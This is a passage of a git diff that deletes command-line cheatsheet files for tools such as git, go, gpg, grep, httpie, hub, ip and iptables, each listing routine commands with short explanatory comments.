--env-filter \ - 'if [ $GIT_COMMIT = 119f9ecf58069b265ab22f1f97d2b648faf932e0 ] - then - export GIT_AUTHOR_DATE="Fri Jan 2 21:38:53 2009 -0800" - export GIT_COMMITTER_DATE="Sat May 19 01:01:01 2007 -0700" - fi' - -# To remove staged and working directory changes: -git reset --hard - -# To go 2 commits back: -git reset --hard HEAD~2 - -# Checkout the fb branch, and rebase from -git reset --hard / - -# To revert first/initial commit on a branch: -# Running git reset --hard HEAD~1 will give error: -# fatal: ambiguous argument 'HEAD~1': unknown revision or path not in the working tree. -git update-ref -d HEAD - -# To remove untracked files: -git clean -f -d - -# To remove untracked and ignored files: -git clean -f -d -x - -# To push to the tracked master branch: -git push origin master - -# To push to a specified repository: -git push git@github.com:/.git - -# Tags: Tag a commit -git tag -a -m "" - -# Tags: To push a tag to remote: -git push origin - -# Tags: To delete a tag on remote -git push --delete origin - -# Tags: To delete a tag locally -git tag -d - -# To force a push: -git push -f - -# Branches: To delete the branch : -git branch -D - -# Branches: To delete a local : -git branch -d - -# Branches: To delete a remote branch : -git push --delete origin - -# Branches: To delete all branches on remote that are already merged: -git branch --merged | egrep -v "(^*|main|dev)" | xargs git branch -d - -# Branches: To make an exisiting branch track a remote branch: -git branch -u upstream/foo - -# To see who commited which line in a file: -git blame - -# To sync a fork with the master repo: -git remote add upstream git@github.com:/.git # Set a new repo -git remote -v # Confirm new remote repo -git fetch upstream # Get branches -git branch -va # List local - remote branches -git checkout master # Checkout local master branch -git checkout -b new_branch # Create and checkout a new branch -git merge upstream/master # Merge remote into local repo -git show 83fb499 # Show what a commit did. -git show 83fb499:path/fo/file.ext # Shows the file as it appeared at 83fb499. -git diff branch_1 branch_2 # Check difference between branches -git log # Show all the commits -git status # Show the changes from last commit - -# To view the commit history of a set of files: -git log --pretty=email --patch-with-stat --reverse --full-index -- Admin\*.py > Sripts.patch - -# To import commits from another repo: -git --git-dir=../some_other_repo/.git format-patch -k -1 --stdout | git am -3 -k - -# To view commits that will be pushed: -git log @{u}.. - -# To view changes that are new on a feature branch: -git log -p feature --not master -git diff master...feature - -# To perform an interactive rebase for the prior 7 commits: -git rebase -i @~7 - -# To diff files WITHOUT considering them a part of git: -# This can be used to diff files that are not in a git repo! -git diff --no-index path/to/file/A path/to/file/B - -# To pull changes while overwriting any local commits: -git fetch --all -git reset --hard origin/master - -# To pull down a remote branch, but rebase any locally differing commits onto -# the top of the incoming commits: -git pull --rebase - -# To update all submodules: -git submodule update --init --recursive - -# To perform a shallow clone to only get latest commits: -# (helps save data when cloning large repos) -git clone --depth 1 - -# To unshallow a clone: -git pull --unshallow - -# To create a bare branch (one that has no commits on it): -git checkout --orphan branch_name - -# To checkout a new branch from a different starting point: -git checkout -b master upstream/master - -# To remove all stale branches (ones that have been deleted on remote): So if -# you have a lot of useless branches, delete them on Github and then run this: -git remote prune origin - -# To prune all remotes at once: -git remote prune $(git remote | tr '\n' ' ') - -# Revisions can also be identified with :/text -# So, this will show the first commit that has "cool" in their message body -git show :/cool - -# To undo parts of last commit in a specific file: -git checkout -p HEAD^ -- /path/to/file - -# To revert a commit and keep the history of the reverted change as a separate revert commit: -git revert - -# To pick a commit from a branch to current branch. This is different than -# merge as this just applies a single commit from a branch to current branch: -git cherry-pick - -# Change author of a commit: -git commit --amend --author="Author Name " - -# The GPG key used for signing your commits -git config --global user.signingkey 0A46826A - -# Sign new tags: -git tag -s v1.5 -m 'my signed 1.5 tag' - -# Sign a commit: -git commit -a -S -m 'Signed commit' - -# check any signatures it finds and list them in its output: -git log --pretty="format:%h %G? %aN %s" - -# Defined the key to use for signing commits: -git config user.signingkey [KEYID] - -# Set signing of commits globally: -git config --global commit.gpgsign true - -# To list unstracked files: -git ls-files --others --exclude-standard diff --git a/assets/cheatsheets/go b/assets/cheatsheets/go deleted file mode 100644 index fe9c14e..0000000 --- a/assets/cheatsheets/go +++ /dev/null @@ -1,149 +0,0 @@ ---- -syntax: bash -tags: [ golang, go ] ---- -# To run the package in the current directory -go run . - -# To run the package in the ./cmd/foo directory -go run ./cmd/foo/ - -# To fetch dependencies -go get github.com/foo/bar@v1.2.3 -go get github.com/foo/bar@8e1b8d3 - -# Upgrade the dependency. -go get -u github.com/foo/bar - -# Building an Executable. -go build -o=/tmp/foo . # Compile the package in the current directory -go build -o=/tmp/foo ./cmd/foo # Compile the package in the ./cmd/foo directory - -# Build cache -go env GOCACHE # Check where your build cache is -go build -a -o=/tmp/foo . # Force all packages to be rebuilt -go clean -cache # Remove everything from the build cache - - -# Cross-Compilation -GOOS=linux GOARCH=amd64 go build -o=/tmp/linux_amd64/foo . -GOOS=windows GOARCH=amd64 go build -o=/tmp/windows_amd64/foo.exe . - -# List of all supported OS/architectures -go tool dist list - -# To show all the dependencies of the module -go list -m all - -# To sho why is that a dependency? -go mod why -m golang.org/x/sys - -# Clear module cache -go clean -modcache - -# View simplified documentation for the strings package -go doc strings - -# View full documentation for the strings package -go doc -all strings - -# View documentation for the strings.Replace function -go doc strings.Replace - -# View documentation for the database/sql.DB type -go doc sql.DB - -# View documentation for the database/sql.DB.Query method -go doc sql.DB.Query - -# View the source code for the strings.Replace function -go doc -src strings.Replace - -# Run all tests in the current directory -go test . - -# Run all tests in the current directory and sub-directories -go test ./... - -# Run all tests in the ./foo/bar directory -go test ./foo/bar - -# Testing with race detector -go test -race ./... - -# Bypass the test cache when running tests -go test -count=1 ./... - -# Delete all cached test results -go clean -testcache - -# Run the test with the exact name TestFooBar -go test -v -run=^TestFooBar$ . - -# Run tests whose names start with TestFoo -go test -v -run=^TestFoo . - -# Run the Baz subtest of the TestFooBar test only -go test -v -run=^TestFooBar$/^Baz$ . - -# Handy flag - skip long running tests -go test -short ./... - -# Handy flag - don't run further tests after a failure. -go test -failfast ./... - - -# Test all module dependencies. -go test all - -# Stress testing -go test -run=^TestFooBar$ -count=500 . - - -# Upgrading the code to a New Go Release -go fix ./... - -# Create a new Github issue for Go's standard library -go bug - - -# Running and Comparing Benchmarks -go test -bench=. ./... # Run all benchmarks and tests -go test -run=^$ -bench=. ./... # Run all benchmarks (and no tests) -go test -run=^$ -bench=^BenchmarkFoo$ ./... # Run only the BenchmarkFoo benchmark (and no tests) -go test -bench=. -benchmem ./... # Forces the output of memory allocation statistics -go test -bench=. -benchtime=5s ./... # Run each benchmark test for at least 5 seconds -go test -bench=. -benchtime=500x ./... # Run each benchmark test for exactly 500 iterations -go test -bench=. -count=3 ./... # Repeat each benchmark test 3 times over -go test -bench=. -cpu=1,4,8 ./... # Run benchmarks with GOMAXPROCS set to 1, 4 and 8 - - -# Comparing changes between benchmarks -go get golang.org/x/tools/cmd/benchcmp@latest # Install the compare tool. -go test -run=^$ -bench=. -benchmem ./... > /tmp/old.txt # Measure benchmark before changes -go test -run=^$ -bench=. -benchmem ./... > /tmp/new.txt # Measure benchmark after changes -benchcmp /tmp/old.txt /tmp/new.txt # Compare changes. - - -# Using Compiler and Linker Flags -go tool compile -help # complete list of available compiler flags -go build -gcflags="-m -m" -o=/tmp/foo . # print optimization decisions -go build -gcflags="all=-m" -o=/tmp/foo . # optimization decisions for dependencies too -go build -gcflags="all=-N -l" -o=/tmp/foo . # disable optimizations and inlining -go tool link -help # list of available linker flags -go build -ldflags="-X main.version=1.2.3" -o=/tmp/foo . # add a version number -go build -ldflags="-s -w" -o=/tmp/foo . # strip debug information from the binary -CGO_ENABLED=0 GOOS=linux go build -a -ldflags '-extldflags "-static"' . # make the binary as static as possible - - -# Trace generation -go test -run=^$ -bench=^BenchmarkFoo$ -trace=/tmp/trace.out . -go tool trace /tmp/trace.out # Works only on Chrome / Chromium at the moment - - -# Viewing Environment Information -go env # List all environment variables. -go env -w GOPATH=/foo/bar # Set GOPATH environment variable to /foo/bar - -# Checking for Race Conditions -go build -race -o=/tmp/foo . # not for production diff --git a/assets/cheatsheets/gpg b/assets/cheatsheets/gpg deleted file mode 100644 index 11de232..0000000 --- a/assets/cheatsheets/gpg +++ /dev/null @@ -1,188 +0,0 @@ -# Create a key - gpg --gen-key - - -# Show keys - To list a summary of all keys - - gpg --list-keys - - To show your public key - - gpg --armor --export - - To show the fingerprint for a key - - gpg --fingerprint KEY_ID - -# Search for keys - gpg --search-keys 'user@emailaddress.com' - - -# To Encrypt a File - gpg --encrypt --recipient 'user@emailaddress.com' example.txt - - -# To Decrypt a File - gpg --output example.txt --decrypt example.txt.gpg - - -# Export keys - gpg --output ~/public_key.txt --armor --export KEY_ID - gpg --output ~/private_key.txt --armor --export-secret-key KEY_ID - - Where KEY_ID is the 8 character GPG key ID. - - Store these files to a safe location, such as a USB drive, then - remove the private key file. - - shred -zu ~/private_key.txt - -# Import keys - Retrieve the key files which you previously exported. - - gpg --import ~/public_key.txt - gpg --allow-secret-key-import --import ~/private_key.txt - - Then delete the private key file. - - shred -zu ~/private_key.txt - -# Revoke a key - Create a revocation certificate. - - gpg --output ~/revoke.asc --gen-revoke KEY_ID - - Where KEY_ID is the 8 character GPG key ID. - - After creating the certificate import it. - - gpg --import ~/revoke.asc - - Then ensure that key servers know about the revokation. - - gpg --send-keys KEY_ID - -# Signing and Verifying files - If you are uploading files to launchpad you may also want to include - a GPG signature file. - - gpg -ba filename - - or if you need to specify a particular key: - - gpg --default-key -ba filename - - This then produces a file with a .asc extension which can be uploaded. - If you need to set the default key more permanently then edit the - file ~/.gnupg/gpg.conf and set the default-key parameter. - - To verify a downloaded file using its signature file. - - gpg --verify filename.asc - -# Signing Public Keys - Import the public key or retrieve it from a server. - - gpg --keyserver --recv-keys - - Check its fingerprint against any previously stated value. - - gpg --fingerprint - - Sign the key. - - gpg --sign-key - - Upload the signed key to a server. - - gpg --keyserver --send-key - -# Change the email address associated with a GPG key - gpg --edit-key - adduid - - Enter the new name and email address. You can then list the addresses with: - - list - - If you want to delete a previous email address first select it: - - uid - - Then delete it with: - - deluid - - To finish type: - - save - - Publish the key to a server: - - gpg --send-keys - -# Creating Subkeys - Subkeys can be useful if you don't wish to have your main GPG key - installed on multiple machines. In this way you can keep your - master key safe and have subkeys with expiry periods or which may be - separately revoked installed on various machines. This avoids - generating entirely separate keys and so breaking any web of trust - which has been established. - - gpg --edit-key - - At the prompt type: - - addkey - - Choose RSA (sign only), 4096 bits and select an expiry period. - Entropy will be gathered. - - At the prompt type: - - save - - You can also repeat the procedure, but selecting RSA (encrypt only). - To remove the master key, leaving only the subkey/s in place: - - gpg --export-secret-subkeys > subkeys - gpg --export > pubkeys - gpg --delete-secret-key - - Import the keys back. - - gpg --import pubkeys subkeys - - Verify the import. - - gpg -K - - Should show sec# instead of just sec. - -# High-quality options for gpg for symmetric (secret key) encryption - This is what knowledgable people consider a good set of options for - symmetric encryption with gpg to give you a high-quality result. - - gpg \ - --symmetric \ - --cipher-algo aes256 \ - --digest-algo sha512 \ - --cert-digest-algo sha512 \ - --compress-algo none -z 0 \ - --s2k-mode 3 \ - --s2k-digest-algo sha512 \ - --s2k-count 65011712 \ - --force-mdc \ - --pinentry-mode loopback \ - --armor \ - --no-symkey-cache \ - --output somefile.gpg \ - somefile # to encrypt - - gpg \ - --decrypt \ - --pinentry-mode loopback \ - --armor \ - --output somefile.gpg \ - somefile # to decrypt diff --git a/assets/cheatsheets/grep b/assets/cheatsheets/grep deleted file mode 100644 index 220de29..0000000 --- a/assets/cheatsheets/grep +++ /dev/null @@ -1,31 +0,0 @@ -# To search a file for a pattern: -grep - -# To perform a case-insensitive search (with line numbers): -grep -in - -# To recursively grep for string in : -grep -R - -# Read search patterns from a file (one per line): -grep -f - -# Find lines NOT containing pattern: -grep -v - -# Set how many lines to show before (-B) and after (-A) pattern: -grep -B 3 -A 2 - -# To grep with regular expressions: -grep "^00" # Match lines starting with 00 -grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" # Find IP add - -# To find all files that match in -grep -rnw -e - -# To exclude grep from your grepped output of ps: -# (Add [] to the first letter. Ex: sshd -> [s]shd) -ps aux | grep '[h]ttpd' - -# Colour in red {bash} and keep all other lines -ps aux | grep -E --color 'bash|$' diff --git a/assets/cheatsheets/gs b/assets/cheatsheets/gs deleted file mode 100644 index 16174f6..0000000 --- a/assets/cheatsheets/gs +++ /dev/null @@ -1,2 +0,0 @@ -# To reduce the size of a pdf file: -gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=output.pdf input.pdf diff --git a/assets/cheatsheets/guix-shell b/assets/cheatsheets/guix-shell deleted file mode 100644 index c6d0cb3..0000000 --- a/assets/cheatsheets/guix-shell +++ /dev/null @@ -1,8 +0,0 @@ ---- -tags: [ environment ] ---- -# Download/Build the desired packages in the store and make their executables available in the current interactive shell -guix shell ... - -# Download/Build the desired packages in the store and invoke a `command` in the environment with package executables -guix shell -- diff --git a/assets/cheatsheets/gyb b/assets/cheatsheets/gyb deleted file mode 100644 index 2fe9f8a..0000000 --- a/assets/cheatsheets/gyb +++ /dev/null @@ -1,12 +0,0 @@ -# To estimate the number and the size of all mails on youremail@gmail.com -gyb --email youremail@gmail.com --action estimate - -# To backup from youremail@gmail.com to your local-folder -gyb --email youremail@gmail.com --action backup --local-folder "~/MyLocalFolder/" - -# To backup from youremail@gmail.com only important or starred emails to the -# default local folder GYB-GMail-Backup-youremail@gmail.com -gyb --email youremail@gmail.com --search "is:important OR is:starred" - -# To restore from your local-folder to youremail@gmail.com -gyb --email youremail@gmail.com --action restore --local-folder "~/MyLocalFolder/" diff --git a/assets/cheatsheets/gzip b/assets/cheatsheets/gzip deleted file mode 100644 index 4481bbd..0000000 --- a/assets/cheatsheets/gzip +++ /dev/null @@ -1,20 +0,0 @@ ---- -tags: [ compression ] ---- -# To create a *.gz compressed file -gzip test.txt - -# To create a *.gz compressed file to a specific location using -c option (standard out) -gzip -c test.txt > test_custom.txt.gz - -# To uncompress a *.gz file -gzip -d test.txt.gz - -# Display compression ratio of the compressed file using gzip -l -gzip -l *.gz - -# Recursively compress all the files under a specified directory -gzip -r documents_directory - -# To create a *.gz compressed file and keep the original -gzip < test.txt > test.txt.gz diff --git a/assets/cheatsheets/hardware-info b/assets/cheatsheets/hardware-info deleted file mode 100644 index 95c2af9..0000000 --- a/assets/cheatsheets/hardware-info +++ /dev/null @@ -1,32 +0,0 @@ -# To display all hardware details: -sudo lshw - -# To list currently loaded kernel modules: -lsmod - -# To list all available modules: -find /lib/modules/$(uname -r) -type f -iname "*.ko" - -# To load a module: -modprobe - -# To remove a module: -modprobe -r - -# To list devices connected via pci bus: -lspci - -# To debug output for pci devices (hex): -lspci -vvxxx - -# To display cpu hardware stats: -cat /proc/cpuinfo - -# To display memory hardware stats: -cat /proc/meminfo - -# To output the kernel ring buffer: -dmesg - -# Ouput kernel messages -dmesg --kernel diff --git a/assets/cheatsheets/head b/assets/cheatsheets/head deleted file mode 100644 index 3a912e4..0000000 --- a/assets/cheatsheets/head +++ /dev/null @@ -1,8 +0,0 @@ -# To show the first 10 lines of : -head - -# To show the first lines of : -head -n - -# To show the first bytes of : -head -c diff --git a/assets/cheatsheets/hg b/assets/cheatsheets/hg deleted file mode 100644 index 2844999..0000000 --- a/assets/cheatsheets/hg +++ /dev/null @@ -1,23 +0,0 @@ ---- -tags: [ vcs ] ---- -# To clone a directory: -hg clone - -# To add files to hg tracker: -hg add - -# To add all files in to hg tracker: -hg add - -# To create a commit with all tracked changes and a message: -hg commit -m - -# To push commits to source repository: -hg push - -# To pull changes from source repository: -hg pull - -# To rebase local commits to disambiguate with remote repository: -hg pull --rebase diff --git a/assets/cheatsheets/history b/assets/cheatsheets/history deleted file mode 100644 index b08d103..0000000 --- a/assets/cheatsheets/history +++ /dev/null @@ -1,2 +0,0 @@ -# To see most used top 10 commands: -history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl | head -n10 diff --git a/assets/cheatsheets/http b/assets/cheatsheets/http deleted file mode 100644 index b6a4ca5..0000000 --- a/assets/cheatsheets/http +++ /dev/null @@ -1,195 +0,0 @@ -# Custom HTTP method HTTP headers and JSON data: -http PUT example.org X-API-Token:123 name=John - -# Submitting forms: -http -f POST example.org hello=World - -# See the request that is being sent using one of the output options: -http -v example.org - -# Use Github API to post a comment on an issue with authentication: -http -a USERNAME POST https://api.github.com/repos/jkbrzt/httpie/issues/83/comments body='HTTPie is awesome!' - -# Upload a file using redirected input: -http example.org < file.json - -# Download a file and save it via redirected output: -http example.org/file > file - -# Download a file wget style: -http --download example.org/file - -# Use named sessions_ to make certain aspects or the communication -# persistent between requests to the same host: -# http --session=logged-in -a username:password httpbin.org/get API-Key:123 -http --session=logged-in httpbin.org/headers - -# Set a custom Host header to work around missing DNS records: -http localhost:8000 Host:example.com - -# Simple JSON example: -http PUT example.org name=John email=john@example.org - -# Non-string fields use the := separator, which allows you to embed raw -# JSON into the resulting object. Text and raw JSON files can also be -# embedded into fields using =@ and :=@: -http PUT api.example.com/person/1 name=John age:=29 married:=false hobbies:='["http", "pies"]' description=@about-john.txt bookmarks:=@bookmarks.json - -# Send JSON data stored in a file: -http POST api.example.com/person/1 < person.json - -# Regular Forms -http --form POST api.example.org/person/1 name='John Smith' email=john@example.org cv=@~/Documents/cv.txt - -# File Upload Forms -# If one or more file fields is present, the serialization and content -# type is multipart/form-data: -http -f POST example.com/jobs name='John Smith' cv@~/Documents/cv.pdf - -# To set custom headers you can use the Header:Value notation: -http example.org User-Agent:Bacon/1.0 'Cookie:valued-visitor=yes;foo=bar' X-Foo:Bar Referer:http://httpie.org/ - -# Basic auth: -http -a username:password example.org - -# Digest auth: -http --auth-type=digest -a username:password example.org - -# With password prompt: -http -a username example.org - -# Authorization information from your ~/.netrc file is honored as well: -cat ~/.netrc - machine httpbin.org - login httpie - # password test -http httpbin.org/basic-auth/httpie/test - -# You can specify proxies to be used through the --proxy argument for each -# protocol (which is included in the value in case of redirects across -# protocols): -http --proxy=http:http://10.10.1.10:3128 --proxy=https:https://10.10.1.10:1080 example.org - -# With Basic authentication: -http --proxy=http:http://user:pass@10.10.1.10:3128 example.org - -# To skip the HOST'S SSL CERTIFICATE VERIFICATION, you can pass -# --verify=no (default is yes): -http --verify=no https://example.org - -# You can also use --verify= to set a CUSTOM CA BUNDLE path: -http --verify=/ssl/custom_ca_bundle https://example.org - -# To use a CLIENT SIDE CERTIFICATE for the SSL communication, you can pass -# the path of the cert file with --cert: -http --cert=client.pem https://example.org - -# If the PRIVATE KEY is not contained in the cert file you may pass the -# path of the key file with --cert-key: -http --cert=client.crt --cert-key=client.key https://example.org - -# You can control what should be printed via several options: - # --headers, -h Only the response headers are printed. - # --body, -b Only the response body is printed. - # --verbose, -v Print the whole HTTP exchange (request and response). - # --print, -p Selects parts of the HTTP exchange. -http --verbose PUT httpbin.org/put hello=world - -# Print request and response headers: - # Character Stands for - # ----------- ------------------- - # H Request headers. - # B Request body. - # h Response headers. - # b Response body. -http --print=Hh PUT httpbin.org/put hello=world - -# Let's say that there is an API that returns the whole resource when it -# is updated, but you are only interested in the response headers to see -# the status code after an update: -http --headers PATCH example.org/Really-Huge-Resource name='New Name' - -# Redirect from a file: -http PUT example.com/person/1 X-API-Token:123 < person.json - -# Or the output of another program: -grep '401 Unauthorized' /var/log/httpd/error_log | http POST example.org/intruders - -# You can use echo for simple data: -echo '{"name": "John"}' | http PATCH example.com/person/1 X-API-Token:123 - -# You can even pipe web services together using HTTPie: -http GET https://api.github.com/repos/jkbrzt/httpie | http POST httpbin.org/post - -# You can use cat to enter multiline data on the terminal: -cat | http POST example.com - - # ^D -cat | http POST example.com/todos Content-Type:text/plain - - buy milk - - call parents - ^D - -# On OS X, you can send the contents of the clipboard with pbpaste: -pbpaste | http PUT example.com - -# Passing data through stdin cannot be combined with data fields specified -# on the command line: -echo 'data' | http POST example.org more=data # This is invalid - - -# AN ALTERNATIVE TO REDIRECTED stdin is specifying a filename (as -# @/path/to/file) whose content is used as if it came from stdin. - -# It has the advantage that THE Content-Type HEADER IS AUTOMATICALLY SET -# to the appropriate value based on the filename extension. For example, -# the following request sends the verbatim contents of that XML file with -# Content-Type: application/xml: -http PUT httpbin.org/put @/data/file.xml - -# Download a file: -http example.org/Movie.mov > Movie.mov - -# Download an image of Octocat, resize it using ImageMagick, upload it -# elsewhere: -http octodex.github.com/images/original.jpg | convert - -resize 25% - | http example.org/Octocats - -# Force colorizing and formatting, and show both the request and the -# response in less pager: -http --pretty=all --verbose example.org | less -R - -# When enabled using the --download, -d flag, response headers are printed -# to the terminal (stderr), and a progress bar is shown while the response -# body is being saved to a file. -http --download https://github.com/jkbrzt/httpie/tarball/master - -# You can also redirect the response body to another program while the -# response headers and progress are still shown in the terminal: -http -d https://github.com/jkbrzt/httpie/tarball/master | tar zxf - - -# If --output, -o is specified, you can resume a partial download using -# the --continue, -c option. This only works with servers that support -# Range requests and 206 Partial Content responses. If the server doesn't -# support that, the whole file will simply be downloaded: -http -dco file.zip example.org/file - -# Prettified streamed response: -http --stream -f -a YOUR-TWITTER-NAME https://stream.twitter.com/1/statuses/filter.json track='Justin Bieber' - -# Send each new tweet (JSON object) mentioning "Apple" to another -# server as soon as it arrives from the Twitter streaming API: -http --stream -f -a YOUR-TWITTER-NAME https://stream.twitter.com/1/statuses/filter.json track=Apple | while read tweet; do echo "$tweet" | http POST example.org/tweets ; done - -# Create a new session named user1 for example.org: -http --session=user1 -a user1:password example.org X-Foo:Bar - -# Now you can refer to the session by its name, and the previously used -# authorization and HTTP headers will automatically be set: -http --session=user1 example.org - -# To create or reuse a different session, simple specify a different name: -http --session=user2 -a user2:password example.org X-Bar:Foo - -# Instead of a name, you can also directly specify a path to a session -# file. This allows for sessions to be re-used across multiple hosts: -http --session=/tmp/session.json example.orghttp --session=/tmp/session.json admin.example.orghttp --session=~/.httpie/sessions/another.example.org/test.json example.orghttp --session-read-only=/tmp/session.json example.org diff --git a/assets/cheatsheets/hub b/assets/cheatsheets/hub deleted file mode 100644 index 22cfeab..0000000 --- a/assets/cheatsheets/hub +++ /dev/null @@ -1,74 +0,0 @@ -As a contributor to open-source -------------------------------- - -# clone your own project -$ git clone dotfiles -→ git clone git://github.com/YOUR_USER/dotfiles.git - -# clone another project -$ git clone github/hub -→ git clone git://github.com/github/hub.git - -# see the current project's issues -$ git browse -- issues -→ open https://github.com/github/hub/issues - -# open another project's wiki -$ git browse mojombo/jekyll wiki -→ open https://github.com/mojombo/jekyll/wiki - -## Example workflow for contributing to a project: -$ git clone github/hub -$ cd hub -# create a topic branch -$ git checkout -b feature -→ ( making changes ... ) -$ git commit -m "done with feature" -# It's time to fork the repo! -$ git fork -→ (forking repo on GitHub...) -→ git remote add YOUR_USER git://github.com/YOUR_USER/hub.git -# push the changes to your new remote -$ git push YOUR_USER feature -# open a pull request for the topic branch you've just pushed -$ git pull-request -→ (opens a text editor for your pull request message) - - -As an open-source maintainer ----------------------------- - -# fetch from multiple trusted forks, even if they don't yet exist as remotes -$ git fetch mislav,cehoffman -→ git remote add mislav git://github.com/mislav/hub.git -→ git remote add cehoffman git://github.com/cehoffman/hub.git -→ git fetch --multiple mislav cehoffman - -# check out a pull request for review -$ git checkout https://github.com/github/hub/pull/134 -→ (creates a new branch with the contents of the pull request) - -# directly apply all commits from a pull request to the current branch -$ git am -3 https://github.com/github/hub/pull/134 - -# cherry-pick a GitHub URL -$ git cherry-pick https://github.com/xoebus/hub/commit/177eeb8 -→ git remote add xoebus git://github.com/xoebus/hub.git -→ git fetch xoebus -→ git cherry-pick 177eeb8 - -# `am` can be better than cherry-pick since it doesn't create a remote -$ git am https://github.com/xoebus/hub/commit/177eeb8 - -# open the GitHub compare view between two releases -$ git compare v0.9..v1.0 - -# put compare URL for a topic branch to clipboard -$ git compare -u feature | pbcopy - -# create a repo for a new project -$ git init -$ git add . && git commit -m "It begins." -$ git create -d "My new thing" -→ (creates a new project on GitHub with the name of current directory) -$ git push origin master diff --git a/assets/cheatsheets/iconv b/assets/cheatsheets/iconv deleted file mode 100644 index d62c21f..0000000 --- a/assets/cheatsheets/iconv +++ /dev/null @@ -1,2 +0,0 @@ -# To convert file (iconv.src) from iso-8859-1 to utf-8 and save to /tmp/iconv.out -iconv -f iso-8859-1 -t utf-8 iconv.src -o /tmp/iconv.out diff --git a/assets/cheatsheets/ifconfig b/assets/cheatsheets/ifconfig deleted file mode 100644 index ed6c15f..0000000 --- a/assets/cheatsheets/ifconfig +++ /dev/null @@ -1,14 +0,0 @@ -# To display network settings of an interface: -ifconfig - -# To display all interfaces, even if down: -ifconfig -a - -# To take down / up the wireless adapter: -ifconfig wlan0 {up|down} - -# To set a static IP and netmask: -ifconfig eth0 192.168.1.100 netmask 255.255.255.0 - -# You may also need to add a gateway IP: -route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1 diff --git a/assets/cheatsheets/indent b/assets/cheatsheets/indent deleted file mode 100644 index 79613ed..0000000 --- a/assets/cheatsheets/indent +++ /dev/null @@ -1,3 +0,0 @@ -# To Format C/C++ source according to the style of Kernighan and Ritchie (K&R), -# no tabs, 3 spaces per indent, wrap lines at 120 characters. -indent -i3 -kr -nut -l120 diff --git a/assets/cheatsheets/install b/assets/cheatsheets/install deleted file mode 100644 index 40bef9f..0000000 --- a/assets/cheatsheets/install +++ /dev/null @@ -1,2 +0,0 @@ -# To create a directory for a user with a group with permission 700 -install -o -g -m 700 -d /home// diff --git a/assets/cheatsheets/ip b/assets/cheatsheets/ip deleted file mode 100644 index c7c9922..0000000 --- a/assets/cheatsheets/ip +++ /dev/null @@ -1,38 +0,0 @@ ---- -tags: [ networking ] ---- -# To display all interfaces with addresses: -ip addr - -# To take down / up the wireless adapter: -ip link set dev wlan0 {up|down} - -# To set a static IP and netmask: -ip addr add 192.168.1.100/32 dev eth0 - -# To remove a IP from an interface: -ip addr del 192.168.1.100/32 dev eth0 - -# To remove all IPs from an interface: -ip address flush dev eth0 - -# To display all routes: -ip route - -# To display all routes for IPv6: -ip -6 route - -# To add default route via gateway IP: -ip route add default via 192.168.1.1 - -# To add route via interface: -ip route add 192.168.0.0/24 dev eth0 - -# To get the route used for an destination -ip route get to 8.8.8.8 - -# To change your mac address : -ip link set dev eth0 address aa:bb:cc:dd:ee:ff - -# To view neighbors (using ARP and NDP): -ip neighbor show diff --git a/assets/cheatsheets/iptables b/assets/cheatsheets/iptables deleted file mode 100644 index 2da02d8..0000000 --- a/assets/cheatsheets/iptables +++ /dev/null @@ -1,43 +0,0 @@ ---- -tags: [ networking ] ---- -# To show hit for rules with auto refresh: -watch --interval 0 'iptables -nvL | grep -v "0 0"' - -# To show hit for rule with auto refresh and highlight any changes since the last refresh: -watch -d -n 2 iptables -nvL - -# To block port 902 and hide this port from nmap: -iptables -A INPUT -i eth0 -p tcp --dport 902 -j REJECT --reject-with icmp-port-unreachable - -# Note, --reject-with accept: -# icmp-net-unreachable -# icmp-host-unreachable -# icmp-port-unreachable <- Hide a port to nmap -# icmp-proto-unreachable -# icmp-net-prohibited -# icmp-host-prohibited or -# icmp-admin-prohibited -# tcp-reset - -# To add a comment to a rule: -iptables ... -m comment --comment "This rule is here for this reason" - - -# To remove or insert a rule: -# 1) Show all rules -iptables -L INPUT --line-numbers -# OR iptables -nL --line-numbers - -# Chain INPUT (policy ACCEPT) -# num target prot opt source destination -# 1 ACCEPT udp -- anywhere anywhere udp dpt:domain -# 2 ACCEPT tcp -- anywhere anywhere tcp dpt:domain -# 3 ACCEPT udp -- anywhere anywhere udp dpt:bootps -# 4 ACCEPT tcp -- anywhere anywhere tcp dpt:bootps - -# 2.a) REMOVE (-D) a rule. (here an INPUT rule) -iptables -D INPUT 2 - -# 2.b) OR INSERT a rule. -iptables -I INPUT {LINE_NUMBER} -i eth1 -p tcp --dport 21 -s 123.123.123.123 -j ACCEPT -m comment --comment "This rule is here for this reason" diff --git a/assets/cheatsheets/irssi b/assets/cheatsheets/irssi deleted file mode 100644 index ffc7176..0000000 --- a/assets/cheatsheets/irssi +++ /dev/null @@ -1,33 +0,0 @@ -# To connect to an IRC server: -/connect - -# To join a channel: -/join # - -# To set a nickname: -/nick - -# To send a private message to a user: -/msg - -# To close the current channel window: -/wc - -# To switch between channel windows: -ALT+, eg. ALT+1, ALT+2 - -# To list the nicknames within the active channel: -/names - -# To change the channel topic: -/topic - -# To limit channel background noise (joins, parts, quits, etc.): -/ignore #foo,#bar JOINS PARTS QUITS NICKS # Quieten only channels `#foo`, `#bar` -/ignore * JOINS PARTS QUITS NICKS # Quieten all channels - -# To save the current Irssi session config into the configuration file: -/save - -# To quit Irssi: -/exit diff --git a/assets/cheatsheets/iwconfig b/assets/cheatsheets/iwconfig deleted file mode 100644 index 5454e3a..0000000 --- a/assets/cheatsheets/iwconfig +++ /dev/null @@ -1,11 +0,0 @@ ---- -tags: [ networking ] ---- -# To display wireless settings of the first wireless adapter: -iwconfig wlan0 - -# To take down / up the wireless adapter: -iwconfig wlan0 txpower {on|auto|off} - -# To change the mode of the wireless adapter: -iwconfig wlan0 mode {managed|ad-hoc|monitor} diff --git a/assets/cheatsheets/java b/assets/cheatsheets/java deleted file mode 100644 index 403bd75..0000000 --- a/assets/cheatsheets/java +++ /dev/null @@ -1,39 +0,0 @@ ---- -tags: [ java, jar ] ---- -# To execute a java program -# To run a java file -java -jar - -# To pass arguments to your java program -java -jar ... -java -jar example.jar "Hello world" 1234 - -# To get the version of the installed java enviroment -java -showversion - -Example output: -openjdk version "11.0.8" 2020-07-14 -OpenJDK Runtime Environment (build 11.0.8+10-post-Ubuntu-0ubuntu120.04) -OpenJDK 64-Bit Server VM (build 11.0.8+10-post-Ubuntu-0ubuntu120.04, mixed mode, sharing) - -# To set the intial memory 